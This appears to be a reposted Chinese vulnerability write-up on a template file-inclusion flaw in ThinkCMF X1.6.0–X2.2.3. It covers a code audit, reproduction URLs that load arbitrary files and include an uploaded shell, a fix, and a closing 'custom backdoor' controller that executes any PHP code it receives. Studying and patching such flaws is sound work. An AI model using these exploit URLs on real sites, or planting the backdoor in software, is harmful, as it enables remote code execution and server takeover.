原出處:https://www.freebuf.com/vuls/217586.html
0x00 簡介
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層采用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。
0x01 影響版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
本次復現的版本為:ThinkCMF X2.2.3
下載地址:https://gitee.com/thinkcmf/ThinkCMFX
0x02 代碼審計
根據index.php中的配置,他的項目路徑為application,打開 Portal 下的 Controller 目錄,選擇一個控制類文件。
發現他的父類為Common\Controller\HomebaseController。
在HomeBaseController中加入如下測試代碼
ThinkPHP是一套基於MVC的應用程序框架,被分成三個核心部件:模型(M)、視圖(V)、控制器(C)。
由於添加的代碼在控制器中,根據ThinkPHP框架約定可以通過a參數來指定對應的函數名,但是該函數的修飾符必須為Public, 而添加的代碼正好符合該條件。
可以通過如下URL進行訪問,並且可以添加GET參數arg1傳遞給函數。
http://127.0.0.1/cmfx-master/?a=test_public&arg1=run%20success
HomeBaseController類中有一些訪問權限為public的函數,
重點關注display函數.看描述就是可以自定義加載模版,通過$this->parseTemplate 函數根據約定確定模版路徑,如果不符合原先的約定將會從當前目錄開始匹配。
然后調用THinkphp Controller 函數的display方法
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
再往下就是調用Think View的fetch方法,這里的TMPL_ENGINE_TYPE 為Think, 最終模版內容解析在ParseTemplateBehavior中完成
0x03 漏洞復現
如下調用即可加載任意文件
http://127.0.0.1/CMS/ThinkCMFX/?a=display&templateFile=README.md
要利用該方法shell,還需要配合前台的一個上傳功能,通過包含自己上傳的文件來shell:
http://127.0.0.1/CMS/ThinkCMFX/?a=display&templateFile=shell.php
在HomebaseController.class.php 和 AdminbaseController.class.php中,往下面翻閱發現還有fetch方法,display方法相對fetch只是多了一個render的過程,而且這里不需要知道文件路徑
0x04 修復方法
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected
0x05 自定義后門
可通過新建如下控制類
namespace Portal\Controller;
use Think\Controller;
class DoorController extends Controller {
public function index($content) {
parent::display('', '', '',$content, '');
}
}
由於是測試,content未做任何處理,直接傳輸php代碼即可執行。